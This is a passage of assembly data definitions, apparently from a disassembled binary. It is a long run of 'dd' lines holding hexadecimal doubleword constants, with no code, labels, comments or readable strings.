		dd 90E2B526h, 604F3257h, 24B56CBFh, 17B6CCE8h, 4A0AB32Bh
		dd 5FEF04EEh, 653A8055h, 255AEC11h, 913BCACh, 471E71E9h
		dd 7ABB02BAh, 9C0F970Bh, 0EFF7E6A6h, 1B88E309h,	16D30651h
		dd 0B701748Dh, 8052197Eh, 483ABE0Ch, 0EEE9122Dh, 0A7F989C2h
		dd 25671C7Bh, 4ED9E63Ah, 7C03ED45h, 23AD2E9h, 68DDBA0Ah
		dd 0F97F0167h, 92D08125h, 25407DE9h, 0C368D82Bh, 0A5C67695h
		dd 4F45FEC8h, 0D29803E8h, 4B30990Ch, 4AA6A1Eh, 0D17D7258h
		dd 1B8C2E5h, 6B60F7C0h,	3771FAA4h, 6184AF25h, 0B3819572h
		dd 6B345635h, 61F48957h, 32E60954h, 6D50D7EFh, 501FDC9Dh
		dd 501A89C7h, 6ABC492Fh, 0B5C0DF2Dh, 0A1026853h, 5B093F45h
		dd 3DD05D2Dh, 785D10A2h, 5AF6CA49h, 42C40FF4h, 0F7DC3B8Ch
		dd 7F496009h, 8C2D5C6Ch, 0C7C76E93h, 0A9169F02h, 63F98903h
		dd 5100A408h, 0E5C064B5h, 0CD2F80FAh, 0B5563F7h, 22E9C70Ch
		dd 0D0100F0h, 532B56CCh, 0A240D0F7h, 2E47520Ch,	2009215Fh
		dd 32D427BCh, 8259AEA7h, 1AD50883h, 873AC0A1h, 0EB1E9543h
		dd 20344EBFh, 0E91866CAh, 0EDC98F55h, 0D0480BF9h, 0D7F726h
		dd 0A679160h, 3634BEC3h, 0C24F0F81h, 40034ECCh,	0F903B913h
		dd 0D1107F74h, 0E89AE2E1h, 0EE3104CCh, 1BEB5229h, 213FE222h
		dd 8E4A5EFh, 7B02D22Eh,	410F230Ah, 0A1A5999Ah, 25DA14DDh
		dd 67254F55h, 0D1FAE37h, 9FFF1492h, 39DC104Fh, 88585909h
		dd 0C76ECF0Eh, 0C116AED4h, 9989FA5Fh, 0C46CCDE4h, 0FB5EF2FFh
		dd 0F9C43CF2h, 0E8830749h, 13F02D40h, 32357D3Ah, 0EFF9FAB6h
		dd 12AF2704h, 0CD15FDD2h, 0FD7A4D87h, 6211C0CBh, 0EF8DE90Dh
		dd 93157845h, 0E1357C33h, 0CC87CF7Ch, 1D5E0BC1h, 16B26B20h
		dd 0AC45E805h, 0F76C351Ch, 236A7AEh, 0C06F6BBBh, 76CB4033h
		dd 0ECB57E37h, 67E712F3h, 59790A4Ah, 0D3018EE0h, 5F5C85E5h
		dd 0C8B84993h, 198511DEh, 0DAAF314Ch, 0AE6F6033h, 0A1D03849h
		dd 0AB04EEAEh, 47A8CE8h, 0E8796705h, 0D39DFB30h, 3EEEA53Eh
		dd 5B05BFB0h, 0C7ECADA9h, 0BC675A2Ch, 31E19CF4h, 0B96BB87Bh
		dd 0F850A2CFh, 0A3F19512h, 0DECCFFCBh, 4B715E48h, 0E7BA8513h
		dd 71F99AF7h, 0F8B5219h, 495820D0h, 7F3904A9h, 9BAF0B2h
		dd 5B7E299Ch, 0AF58DCA7h, 76F64B89h, 0F5672FEDh, 0DF64822Fh
		dd 207D90B5h, 9CC4950Eh, 0BB70BFh, 57715CC1h, 56666829h
		dd 94E019BDh, 5B302FCBh, 77F734C8h, 6ABC6EF8h, 4246A004h
		dd 0DE5CA382h, 72F62F96h, 0A2407DFAh, 508136DEh, 0B5A6AED8h
		dd 3E40AF10h, 68102209h, 0E971C0B3h, 0C8C54B11h, 2B0FBB7Eh
		dd 0AB583115h, 0F5276846h, 774D3CD3h, 6F40BC4Fh, 0C776229Eh
		dd 0C1AD800Bh, 1778046Dh, 0BE6CD0E9h, 0D161DBCDh, 44073082h
		dd 0B1FF4F86h, 0D27E9A75h, 0FC5DEE3Ch, 0AF591294h, 0AC5A98F7h
		dd 79E7B577h, 49685606h, 46F8D91Eh, 0C80F0D9Ah,	4615771Dh
		dd 90D3591Bh, 56091670h, 2624FA53h, 0C301ADC4h,	74A24F42h
		dd 0FE82B365h, 8ADA700Dh, 3B3B2941h, 886420D1h,	0FDC18071h
		dd 803FBF70h, 0CA0EBB53h, 6B367729h, 0CBEE84D8h, 3A03B2A4h
		dd 0A0DAFD23h, 6A0260C3h, 30E9331Ah, 0C09CFDE1h, 18C0C2E6h
		dd 0A77116CAh, 3BE9187Ch, 0D5BE5290h, 0A502C3A2h, 4FC408D6h
		dd 3ADCC305h, 12C1641Eh, 0C404657Dh, 42C50089h,	3171045Bh
		dd 351F6D90h, 7BD20D72h, 337616ABh, 86C95605h, 0A4496F19h
		dd 0CD9480C0h, 95FA0D01h, 0B25FA889h, 8365D527h, 9AB8AC25h
		dd 0F7E6E120h, 0FA7B75CAh, 0F54EE9C2h, 45F7250Bh, 0AE4D8Fh
		dd 183EEFBCh, 0E3C12E09h, 0FC1E8005h, 0B53D761Eh, 0ACADD4A4h
		dd 0CB3D70FFh, 0E4442F80h
		dd 0FB212FA0h, 0C3A16034h, 81BB047Ah, 0D5B13CCEh, 5EA2A83h
		dd 0ABD88536h, 0CBFC9331h, 727584C5h, 0B73FEF61h, 0E9EE099Dh
		dd 0BB39A0A9h, 7ABC4373h, 0F8CB2F4Fh, 0C28153E4h, 0A9D86E4Eh
		dd 0C958B756h, 0C16B0F03h, 0B378350Ch, 582DB801h, 726CF405h
		dd 0F1711E0Dh, 4E678241h, 2F58F66Fh, 263D3AC0h,	124070EBh
		dd 53BCCAE9h, 0B35207DAh, 0DA89531Ch, 0D178D9EAh, 3FC0F097h
		dd 52274842h, 8639D2FEh, 0F50CE9DFh, 34969F22h,	3BA5B781h
		dd 4044C6D0h, 5BE09D5Ch, 0C51DD8DEh, 81A5E9CEh,	5426BEF8h
		dd 5FE917D9h, 86150BC3h, 58005C29h, 0EA0908EEh,	601CD65Dh
		dd 0AF56A546h, 0F63C903Ah, 2F589042h, 6392E8FFh, 993FCB77h
		dd 49D93244h, 39080D20h, 0B86935E9h, 0AA56A45Eh, 47907D66h
		dd 0EA9DDEEBh, 0D2985C16h, 2EE503A0h, 50016618h, 49996857h
		dd 17052CDh, 3A8D961Ch,	50BD589Bh, 6933B2E7h, 202694FDh
		dd 22C5273Bh, 0B3BE7305h, 0E67450AFh, 77921127h, 584E9B82h
		dd 0B9054EE6h, 229D9A14h, 1619E300h, 4EE92FFDh,	0B88B0025h
		dd 307F5990h, 4F263507h, 5B507AD1h, 9F100321h, 0F7092C51h
		dd 0AF1802D8h, 42AC49Bh, 222359C5h, 471DBE6Dh, 0B8011590h
		dd 7C67B916h, 297D2089h, 0BCA0B5B6h, 7A53D65Dh,	944AE5EEh
		dd 0C4E38CABh, 5D860B95h, 5C97DDEDh, 46BFCFBFh,	25683BC2h
		dd 0BC20516Eh, 2516F69Ch, 25AA4575h, 1330447Fh,	0AA09DE68h
		dd 0E7593A69h, 79218460h, 0B5014B3Eh, 5D08026Bh, 0BCF88DE4h
		dd 12EF0E6Dh, 1D16E778h, 0CC701F29h, 0B31CD53Dh, 44F5A4Ch
		dd 0FED3F6FDh, 6F356C1h, 0F328AA3Bh, 0F8F64B64h, 0CEDF2579h
		dd 0C6F89D6Dh, 0A33E2913h, 80FEF004h, 9D9EA12h,	41D9A52Eh
		dd 48D75DFAh, 0A0F087C8h, 8B275B5Ch, 0B67F2895h, 1DE7E72h
		dd 5EE76C9Ah, 16932842h, 88BE075Dh, 0B75B409Ch,	5FE96D68h
		dd 2BC2F1F9h, 0C2601B97h, 0B708EAC0h, 572F9DD2h, 93658228h
		dd 2FE4FD1Ah, 41FD6815h, 0D41C8AEBh, 0BB3A7E60h, 0A88FA318h
		dd 0A03F1516h, 0B0525DD4h, 7225098Ah, 93DF411Eh, 6D7AC12Ch
		dd 78A6A83Eh, 0BA76C216h, 7EC12B00h, 6F419F84h,	7C211F49h
		dd 0A0780F32h, 0F106D48Ch, 2A595ABBh, 1DFB050Ch, 0E2892B9Bh
		dd 0E3E9C712h, 0BFCABCh, 17DA0D9Dh, 2933F781h, 220AB27h
		dd 235EC85h, 0F4555E52h, 0A2B1891Fh, 274994D5h,	0A45D61DAh
		dd 1CC140A7h, 0CC3FD2CCh, 0C469205Dh, 0C632DF10h, 8F71C5F9h
		dd 0E9F09812h, 41BBBE5Bh, 0B0359ECFh, 2D8F3034h, 18E907A0h
		dd 16ED7DEFh, 31FFBEB6h, 810DBF44h, 26B8C2C7h, 502A4B70h
		dd 0F24B08A7h, 449EC4A5h, 8BB7B004h, 0C588028Eh, 79CA61E9h
		dd 53511EF2h, 668DC090h, 2C79B652h, 0D439592Fh,	93554722h
		dd 2458C0D5h, 8E4D77F1h, 0E78103F9h, 10B87DEBh,	1C0530C6h
		dd 42466851h, 542C5FA1h, 9F6DB38Dh, 96A71174h, 144E02DDh
		dd 0F529DF19h, 0A7206F94h, 51681257h, 9FE3FD75h, 5D0526C9h
		dd 0E020BDEEh, 73807659h, 0CEC16401h, 8A41FF9Eh, 2F503ADFh
		dd 5203AD40h, 0D52B4972h, 8BF03427h, 25501CBFh,	49E07CE9h
		dd 0D678F65Bh, 45FE975Ah, 0E2F2733Eh, 408E5E3Bh, 3B15F410h
		dd 7A0F135Bh, 0D661FFE3h, 7C215468h, 8CACDEF4h,	0D0EF5C2Dh
		dd 806FC8E9h, 0DCD1B649h, 0B8018661h, 0C7174302h, 0FBF4F6E3h
		dd 0B336C19Dh, 5C576809h, 8182987Dh, 2618B756h,	90C0D14Bh
		dd 0DAF6E2D0h, 1DB43C50h, 0EA26C4BFh, 0BF0192BFh, 3121DE3h
		dd 841D51D9h, 0FBC5AB4Eh, 7D4AE6EDh, 6E6A60E9h,	0F681FB45h
		dd 25291ABBh, 96D77075h, 55F52104h, 0D8AADE01h,	4BD2599Dh
		dd 4EB78EFEh, 6882A1F2h, 9BD730FEh, 0D5E2A2F1h,	0E94292F3h
		dd 2FE3F209h, 8AD0A6ECh, 0FEF4E198h, 0EB2871BDh, 0D0B12D7h
		dd 9B02DB82h, 0C751F542h, 77A7D11Dh, 2A1E2CA0h,	789D2EEEh
		dd 17D9A123h, 0CEBE5600h, 0B1FCA1Eh, 1B30B9C9h,	74F0C144h
		dd 8BF610A5h, 923F38ABh, 0CCD099BDh, 12EA2391h,	3DFF70Ch
		dd 612497E8h, 8FE21C5h,	7BA27F99h, 0DB2DBFD6h, 0ED05F03Eh
		dd 0B555ECB7h, 0EAD8BA85h, 4096BC82h, 702C6CD1h, 0BFC85168h
		dd 216E59F5h, 0A6DAC8h,	76E3BFh, 0EF8135A0h, 10374CB9h
		dd 0F992E92Fh, 2714A8C2h, 0D669BBDEh, 0BF2260C7h, 0FD29EC12h
		dd 0C5B0D4FCh, 4914BB53h, 13C6AE0Ah, 0D021DE91h, 0FF04F7C8h
		dd 40A8D9E4h, 0E2048198h, 774C48DEh, 0F6071CC5h, 0ED15BFDFh
		dd 5FBBD402h, 0C2514113h, 80295E3h, 0D7C3CEE9h,	47C5FB25h
		dd 0D7D989A7h, 5F0EEC48h, 9EC539Dh, 7BE4D793h, 23603BF0h
		dd 0A001C785h, 0A1E84EA2h, 9DC3E89h, 8FAC27E9h,	6662575Eh
		dd 48540928h, 2DA1F08h,	473D685Dh, 9727185Fh, 0CE2D8C34h
		dd 0C075E9FDh, 9829DF74h, 84F34B81h, 9282F344h,	7BAF99BFh
		dd 0E909FCADh, 1F43C1Bh, 430F9496h, 400A65A2h, 0E17696D8h
		dd 0BB93CA68h, 0DA50031h, 43FCAA04h, 9F73F325h,	0B309B42h
		dd 3B422900h, 83F6313Ch, 0C6832A65h, 40EFCC1Ch,	0FED4CE17h
		dd 0B7DC7AFAh, 9D89655Bh, 0C2DB9B61h, 0FD36CA70h, 0D997EB1Eh
		dd 0B1D48E7h, 509B7A61h, 2A272EC1h, 11CCEFACh, 4CBD526Dh
		dd 585F28EAh, 56AB20C5h, 4ED5313Ch, 81003CE8h, 0D44C2F5h
		dd 172CE902h, 0E0961FBEh, 9CF12613h, 504DB92Ah,	5625C5FBh
		dd 34B56AAh, 3F455FC4h,	16EBF401h, 0DE9036Ah, 6300F17Fh
		dd 24D004ECh, 822FE1h, 0F81C8B8h, 68C80ABFh, 8C961FD5h
		dd 347FC0E5h, 0DB0286B6h, 40213629h, 0B7F3A9B6h, 0C901ACF3h
		dd 8F0B7E65h, 0B64F3E88h, 88A63112h, 0D4BD5500h, 514DEE0Ah
		dd 0F068B901h, 0CD29333Ch, 80A7B170h, 0C29F44B5h, 0BCA45FA3h
		dd 7F0BE1Fh, 504094ECh,	0B478505Ah, 5913D2CBh, 0BA88320Dh
		dd 0C5055709h, 1F86A851h, 4193F021h, 0A2F6CFA0h, 0C906FFA8h
		dd 0A6C020B5h, 0A9414E7h, 0A2C50781h, 60583B23h, 784940CDh
		dd 1DC194Ch, 6B115142h,	0EC29FE9h, 0AC45D2ADh, 0E0132DF1h
		dd 90D4ABFDh, 0BB985385h, 9DAD1E28h, 0AA68C501h, 0F5E27C29h
		dd 0B31BC4BAh, 0DEE392DAh, 0A545C201h, 60FA016Bh, 5C62720Ch
		dd 0D5D24369h, 6817E194h, 0F8E3197Ch, 0F2266400h, 0E9435B74h
		dd 0AD00845Fh, 0C26297B8h, 0B5A49005h, 38D6B142h, 0DCF7BFD0h
		dd 8D1D322h, 64124BD5h,	57350CFDh, 3A9D05C3h, 215BD8FBh
		dd 0B582EC95h, 86A8E378h, 7258B252h, 15835A1Dh,	6BE42D53h
		dd 6A0B1877h, 7BB12C6Ch, 8FCA02D0h, 0B9FE8711h,	39FCBC06h
		dd 4AB8014Ah, 556E090Ch, 0EED64368h, 0FA835DAAh, 4BC263BFh
		dd 92865DCh, 5CAB6601h,	7369E915h, 2534ED2Bh, 5B8D4171h
		dd 5D63BA2Eh, 0CCF5F9FAh, 0E5F1B86Fh, 0AB48701h, 0E72021D2h
		dd 0D35305DBh, 0AB49E918h, 57555F92h, 5D52637Ch, 0C278AE5Ch
		dd 94429A64h, 8CFE522Eh, 20C01808h, 56270EDDh, 2DF48BCh
		dd 7B304667h, 0B896CC42h, 62757EA0h, 738913Eh, 7F16D1E6h
		dd 0EE8F2Eh, 0ACD893F6h, 35E3BD73h, 8145E59Ah, 46BB963Dh
		dd 0FEDC99E5h, 88C694BCh, 68049CF1h, 68FB737Bh,	0D42DE9FEh
		dd 201F66B8h, 5D5BF6E5h, 0D26FF4B1h, 0B34585A6h, 7A060D89h
		dd 38470007h, 0E7BB0136h, 6E4B8819h, 20492DFBh,	9DC64EF4h
		dd 48154322h, 0FAD27FBEh, 0B6F4A957h, 276C647Dh, 0ACDFA078h
		dd 2208F097h, 9C982809h, 0CD405D94h, 2C081943h,	2F8DD729h
		dd 5D5BA2F0h, 8010C3F6h, 0F1DE5058h, 2954890Dh,	0F52F409Eh
		dd 6414648Fh, 0E55BB260h
		dd 76DD1D7Bh, 17ED764Bh, 0BE04FA0Eh, 5CBD0340h,	1729D1FCh
		dd 4ABAE9EAh, 5E74E13h,	81FB5228h, 8EE3A418h, 126BD8FFh
		dd 9701F3BFh, 0DE85C1EDh, 7C24EB5Bh, 5CC63CBFh,	3BE4DC0h
		dd 5259E950h, 4A791931h, 660F07FBh, 2705295Eh, 7B86050Fh
		dd 69720FD4h, 860C9844h, 0F3122F14h, 6911E901h,	0C7281EC0h
		dd 1D40CF12h, 0E103CDBEh, 501982Dh, 3F4C13BFh, 0F7C00005h
		dd 24F53569h, 0E97F8604h, 0FCAC4803h, 0A8244A8Fh, 8A86D067h
		dd 735E1550h, 8B0304FFh, 9821AFCDh, 227EEBA2h, 525868FEh
		dd 400D76E1h, 2B0B639Ah, 7C292F9Fh, 0D001C207h,	0BD9D46E5h
		dd 1E262806h, 0F170BEEh, 22811488h, 0F7A63964h,	5970C1Dh
		dd 300E0BD0h, 16BAE20h,	0E31D5BA2h, 25756755h, 520EB646h
		dd 52F58955h, 50290E0Bh, 0BD488E9Ah, 0AA008FD2h, 25196A5Eh
		dd 5A0663AEh, 4D8BC43h,	0FEFDBD51h, 19BA3880h, 0A9604EA3h
		dd 2E0841AAh, 0C005E944h, 7F80B112h, 0E7E56AE8h, 7AE909A5h
		dd 8AAB6811h, 4AFC0774h, 0E307EEC1h, 1C7033E1h,	0EAE8EB4Eh
		dd 4CD6AE27h, 0C010E4BAh, 750C3FC3h, 5F8C0BE1h,	0CC55409Eh
		dd 0AF5E97A1h, 0EA26E642h, 0C07E7DB0h, 0B33C5104h, 0A7F282EAh
		dd 5EF25A0Bh, 1D90F858h, 0F96FD8F6h, 257B2E5Fh,	3A91C16Ch
		dd 0C3A41797h, 31A30FF6h, 0F0655F7Bh, 5928AE02h, 33B840A0h
		dd 0D5C8344Fh, 0F5E5FB53h, 0E048EC3Ah, 0EFED6F6h, 3DB551C6h
		dd 0FA96EE09h, 8999F3E0h, 0FED526C1h, 21FFE72Ah, 0B14A0811h
		dd 870C8805h, 37C91EB2h, 0E693195Ch, 0B9A9CFBh,	75E3924Ah
		dd 92E2652Eh, 8D29AE8Fh, 0C0D9C620h, 6D16F7E7h,	71BF5DF3h
		dd 0D3820718h, 0C9DDA9A0h, 6E9834D8h, 0B450B6C1h, 1A7E3F7Eh
		dd 265BA95h, 0E8FCBEE7h, 2E609ECCh, 82C205B0h, 838518A6h
		dd 19547E75h, 2D5CF314h, 0D2663BA6h, 0B0C21088h, 5253BA03h
		dd 8FD27995h, 40A8276h,	7AA7B23Ah, 0D27113ECh, 43FE2FEh
		dd 1A114438h, 671680ABh, 35EADB03h, 7C0B6369h, 25A71DC7h
		dd 141416A4h, 165658C1h, 68BEFEDAh, 382DE94Eh, 99B04888h
		dd 0FC75251Eh, 0E8F71062h, 1B48C346h, 0C18A36Ah, 5F5841B8h
		dd 252CAB7h, 7032E908h,	31D2BD97h, 73B0055Ah, 4EC62775h
		dd 5E2200F5h, 1219E502h, 0BF59CB31h, 372C4756h,	725F17D7h
		dd 91DA917h, 9A092968h,	0AC2B653Eh, 446FAD8Eh, 0F48166A7h
		dd 9061B8EEh, 8671FDC5h, 265FF6A6h, 5B01118h, 407A077Ch
		dd 257B9608h, 0DEB0D001h, 9F202BFEh, 61BE57A1h,	16224E1Bh
		dd 0C3D430E8h, 283B0C07h, 0E3704347h, 13DD7EEFh, 0F4D3F724h
		dd 0F665E7ECh, 0B90F2952h, 5C0809C1h, 7E868169h, 304737CEh
		dd 0DD82692Fh, 0DD888DE5h, 0E6661DA8h, 10A4CF2Ch, 3C48F93Bh
		dd 8F9F2D1Ah, 0AF75A60Ah, 0AEC796C3h, 4BA5521Bh, 4EB5ECCEh
		dd 0E680E7A0h, 3F3E66Ah, 0E9DC282Dh, 2025AC07h,	47ADA6F7h
		dd 914B05Dh, 0D64C21F2h, 4BEEB607h, 5293AA68h, 9A6282h
		dd 1A4F1B9Bh, 808AA364h, 0A17C0C67h, 0EF04E5B4h, 6882B7A2h
		dd 5E5926C7h, 0A8021428h, 0FF5B6C58h, 7E971C34h, 16EC83F6h
		dd 96204A63h, 109C9061h, 1FEF6C0h, 0F05E3AC6h, 0C42E291Fh
		dd 59080B40h, 295B5FECh, 0B4109A13h, 0C318D20Dh, 2412B81Ah
		dd 8FFED36h, 29139DBEh,	0EC6EA0F1h, 0FEE04A92h,	75791749h
		dd 0C227C21Dh, 0C15E0884h, 5D3BA4Ah, 0D043C0FBh, 9FB85366h
		dd 5C9FCD25h, 6CA07957h, 0DD871D51h, 46039ACBh,	0B2CCF2F4h
		dd 2FA0BE69h, 0A6D078F4h, 0C5FE801Dh, 0F4F5801Eh, 88E05C97h
		dd 6F640935h, 9F58A352h, 605F517Eh, 0F589B485h,	31650820h
		dd 0AC1E226Fh, 0B4EE04C9h, 899D4B25h, 907A45DAh, 0D8680C83h
		dd 4F50D718h, 0E1F989DFh, 0DBD57F66h, 37698071h, 0B947A86Bh
		dd 0D0BBB805h, 966FE984h, 0EC5DC597h, 0F6B5EA76h, 0D3E9C1F5h
		dd 0D6E6ADF2h, 3D2C2CE3h, 0AF8ED216h, 537AF929h, 7FCFE80Ch
		dd 38AB024Eh, 7D54A275h, 37164594h, 0F2036CD8h,	840F0C08h
		dd 876AC5FEh, 3A16324Dh, 89E01AC2h, 0B9804554h,	6E491C32h
		dd 0BA524057h, 3CB02206h, 5094FEC1h, 6D7815FAh,	0D238AE00h
		dd 0DF6EE943h, 0B5AE9ED3h, 0A51FE976h, 54827DA5h, 0AC04C5B5h
		dd 60FECEBEh, 0AF289A6Ch, 205EC148h, 3F0B8B3Eh,	0EA7BB7F2h
		dd 7940195Ah, 0C1562252h, 0D3736011h, 0EB4B83F8h, 0EA64C4EEh
		dd 25BC1ACCh, 53092AE9h, 691FF15Dh, 0AEC4A46Eh,	830E6DC4h
		dd 490202C9h, 0D2DEF1D0h, 0E2504559h, 9771B068h, 56007F4Dh
		dd 1C136852h, 16375C0Bh, 0F11F21Ah, 0A88EDE84h,	0FD8A5FE3h
		dd 2C720610h, 0E008E730h, 0F7872F14h, 976B95A5h, 687B9C36h
		dd 937C7A2Fh, 0EC93E77Ch, 0F55FA20Bh, 760E0BE0h, 75A241F7h
		dd 0B287F209h, 4CD1D704h, 0A98C218h, 0A9690BC4h, 628EF203h
		dd 0DD943720h, 0E9E3821Eh, 0AA5C28EFh, 9EFC3196h, 0EA5A752h
		dd 8B85F5F8h, 9AC1EF56h, 0BC047184h, 0CE885F6Ah, 0A1241335h
		dd 0D3CB0079h, 31771F05h, 0D6E9FB1Eh, 42B051A5h, 0ECCE5EF7h
		dd 1A132D79h, 0E209172Fh, 6692D53Eh, 0CBE5985Ch, 688240F9h
		dd 4D52574Ch, 0F620BA41h, 53709790h, 0D1AB564Fh, 2BFD8849h
		dd 54F254B0h, 3A68C9C8h, 0FD4A0330h, 0B562995Eh, 7288FA70h
		dd 912BB8EBh, 432F6DCEh, 0B14E8846h, 99F80FE4h,	1C7703CAh
		dd 0ECE3BE9h, 608CB02Dh, 270FB556h, 1C18FD28h, 30007CB6h
		dd 0C78059EEh, 90F72870h, 0E8C34BD4h, 0DF13A1EFh, 4DC4BB68h
		dd 7927FAE3h, 0D6648A8Eh, 9850D8ADh, 0BA6316EAh, 36D60010h
		dd 0D1493D13h, 5584E34Fh, 0DA32B0AAh, 67338902h, 0B35BD901h
		dd 0F6AFE88h, 52FB10D1h, 7052EDAh, 0C3D2EB59h, 17DE57C7h
		dd 0E7D7E902h, 49CE7EFEh, 5EFB0577h, 580466A8h,	0AC488968h
		dd 0EDEFC481h, 65F04C1Fh, 3896D2EBh, 0F1E30501h, 893EB0F3h
		dd 0A72FC94h, 20F5669Fh, 50252AE1h, 4FE2D5B8h, 9D6478DDh
		dd 0D8A5FEF3h, 65797FCh, 0EF11297Fh, 646967FDh,	96B7BBA4h
		dd 5E53E913h, 26192B0h,	287DB2FCh, 3B5AF0C1h, 6882E9FCh
		dd 0A79259Eh, 84137582h, 28FE7E6Eh, 61160BA1h, 0C0DD30A5h
		dd 185ECF72h, 1114207Bh, 131773EFh, 0CBA98F09h,	994EE048h
		dd 643E40Eh, 1E0D6535h,	2D081D10h, 2AEBD25Dh, 9D9DBC5Bh
		dd 0AC25CFEh, 8B8AF6F6h, 3DFAD753h, 0F4522709h,	0BD14D524h
		dd 0D9B7EC1h, 0F47F5261h, 0FA09F556h, 0DF88F6B6h, 61F1AFC0h
		dd 40661027h, 127D7978h, 0EB89FE96h, 0D64709h, 0DF2D6B4Dh
		dd 82DF9D69h, 79AB93B2h, 5EC488C6h, 7C3AF3Eh, 0DD9B59E2h
		dd 0F3F434B8h, 0E102059Ah, 1B7C3309h, 0F8066041h, 87AA96D9h
		dd 0BB5D6F0Eh, 9C507C61h, 0A429BBD5h, 84EB54ADh, 94A108E9h
		dd 13C1BBF3h, 0ED2EF2B1h, 279D0F1Fh, 6B05D2B6h,	0BCAC72AFh
		dd 8F57C4h, 68134B2Dh, 0F6A6EA0Bh, 296D0ACFh, 2E0705E8h
		dd 4D7CC53Fh, 0F2D45BD1h, 5E341258h, 5F1F3401h,	0A940DB52h
		dd 0FE0FB353h, 0EAC048C3h, 0E9050660h, 0ABC313BEh, 89CB49F5h
		dd 883E895Bh, 644F8EB5h, 311002CAh, 0D7814B7Ch,	0FA04E1C2h
		dd 124E03ECh, 643DEAD0h, 0ACAC7755h, 12C432A9h,	0A3F1C1E9h
		dd 1113DD5h, 5504D80Bh,	52455300h, 642E3233h, 41C0E36Ch
		dd 29567344h, 8F0D4950h, 4CCE544Eh, 1430A35h, 0A97E9B0h
		dd 6F680AC0h, 0F407DB17h, 0FB8525AEh, 186445F8h, 5B21A415h
		dd 109A1219h, 90891B0Eh, 42847D08h, 1CE81186h, 87087C21h
		dd 72911Dh, 4A4463A0h
		dd 0BEE51Fh, 417EA1D0h,	0C1E2224Dh, 7CA2CD00h, 0D9EC4F3Fh
		dd 85BA0F5Ch, 1E0DE89h,	84A7620Dh, 26DF8A00h, 0FE5C0905h
		dd 1567005Bh, 60B83277h, 4900C7BFh, 0E101C46Ah,	6DCB76h
		dd 48B0FE75h, 40D7ED94h, 73B47100h, 1CBE9249h, 44BD0F4Bh
		dd 0C0001547h, 0F7A2890h, 24EB4807h, 0C1F02C46h, 73AEB972h
		dd 0C7C20012h, 9211A941h, 0DE003A18h, 33FEFD26h, 0BAB1F2h
		dd 25FA1F82h, 2BB01E4h,	0C9A92C00h, 99632F1Eh, 957C004Fh
		dd 853F0D6Ah, 4D7B8922h, 0CA3FC01h, 9E19D215h, 0B7BAC8h
		dd 7D6560CEh, 340838DAh, 0B4FBBD0Fh, 0C951E0D1h, 0E10129Dh
		dd 0B6B50ED3h, 8A3A9980h, 1005BF3h, 0AEB3E82Eh,	0A116D5h
		dd 0CB2C1032h, 0AF4639Ch, 1654000h, 0C9CCF05Bh,	29E20031h
		dd 4ABF7649h, 0E80EA9CAh, 43866C07h, 3D501FDh, 0D9F9522Eh
		dd 1100946Eh, 0C99586E5h, 44679Eh, 0FCD7A30Dh, 0F1464320h
		dd 0A880BE5Bh, 3D3077ACh, 0B200333Eh, 356AADBCh, 0F6282E39h
		dd 687EA8B5h, 0E53B29B8h, 7D718070h, 0F9F536F2h, 7B37A6Eh
		dd 0F132F37Eh, 47A26FFDh, 0F480147Bh, 1BDB64CCh, 18D91A00h
		dd 0FFB787A9h, 190900C4h, 2949AA39h, 9E00A047h,	0EF3A51E3h
		dd 2AB8784h, 0FB38FAC5h, 6E609DF6h, 4003FCA8h, 29A05B0Bh
		dd 0A1D9094h, 0B3890079h, 3497CAF2h, 9F00A112h,	0F5D5F172h
		dd 0F369A5DBh, 4B9B2D8h, 0A26D55BEh, 1F689567h,	18BF8160h
		dd 0DA939F26h, 125F9BE0h, 65867F07h, 2AA0FA6Ch,	2AB3AEC1h
		dd 952954h, 27D71C17h, 0A15D9A98h, 0DA011600h, 5A9D9524h
		dd 31500A4h, 0CE6322DCh, 9600C55Bh, 1A5DD9E8h, 39D85564h
		dd 5980E797h, 1B576816h, 1340D2ACh, 0F4CD2123h,	6B8C8503h
		dd 0D704C1A6h, 8F87E8h,	7817A56Ch, 0D28B145Eh, 77A07403h
		dd 0BF696667h, 7825A399h, 4B46C0A9h, 10B33068h,	439C2553h
		dd 0C575DDE2h, 87B89E03h, 0D8A616D6h, 620F2Bh, 0C4A8C2BCh
		dd 27938371h, 0F885E3Ah, 607337EEh, 756B19FAh, 0B8FF3935h
		dd 7D0EEF49h, 6C40C122h, 0EC06CF61h, 81CC04DEh,	0D22E1Ah
		dd 67078279h, 0FBAC539Ah, 9072D51Dh, 763E80FDh,	456C91D8h
		dd 0E1563E47h, 0E4107980h, 0C9AAF4F6h, 0D0086000h, 8A053689h
		dd 36414921h, 5D0E7100h, 0CCEF2AF5h, 6AA7D200h,	0FE1D21C8h
		dd 6E6D0197h, 0C4A35E05h, 90C23F4Eh, 414CF7h, 0D7B5243Eh
		dd 1EB7E08Eh, 83A53207h, 5F552C13h, 80696C00h, 0F0FF70C1h
		dd 4E3C0B51h, 258517EBh, 27A88747h, 88864B8Ah, 4E001465h
		dd 497826E5h, 0F7A7C8h,	5F8342ECh, 0DFEB18F8h, 91579300h
		dd 5B2658F0h, 326C0078h, 21B6E6DDh, 10190B2h, 30FFE304h
		dd 23D5AEF1h, 0ED9ED0C3h, 93B700B1h, 1D8189A7h,	3D582ECCh
		dd 0CBC60187h, 53C7FB6h, 0D4DC8ACDh, 95720C6Fh,	0C0F806D2h
		dd 6A244300h, 0F09EC53Fh, 215E01C1h, 0A1C2426Dh, 1F5CCCEDh
		dd 0F90C6F00h, 0A9659A7Ch, 0E10200FEh, 6487822Dh, 603FFAAh
		dd 0DE7C29E5h, 4012D27Bh, 4780D857h, 63007E9Fh,	0E8839281h
		dd 72298Eh, 0EFC2A01Fh,	0E123EE35h, 8C00C9ECh, 36FD164Ah
		dd 0BEB66Ah, 26CA0648h,	2AECC3AFh, 93F6F500h, 6A2F32FBh
		dd 5EC0134Fh, 4E3600EFh, 1306DF9Dh, 31CFE902h, 0F8924270h
		dd 8D39602Dh, 0CAF126F9h, 2FECC700h, 0F8DD7362h, 6F7BDAh
		dd 98598058h, 4576C493h, 0C7B52800h, 0E11E7B06h, 8F7F07ECh
		dd 0B1AB2A04h, 0DDF738F8h, 4FB9DC0Eh, 589E4700h, 365FAC8h
		dd 9CB7001Ah, 0E614BAD4h, 557D4A06h, 74FB5F0Eh,	2A120777h
		dd 0E1C0B1E7h, 393268h,	0A90CD53Eh, 0F0492451h,	213ABC00h
		dd 269B2A18h, 97940F53h, 2EA77B84h, 0A55D30F1h,	0E9007F82h
		dd 89422CAAh, 2868ACCh,	0B9E47475h, 0D2D0F5D0h,	0C0A3B359h
		dd 0B2BBFC0h, 0B76D0144h, 0ECB662E9h, 3FA4D88Bh, 0AA61421Dh
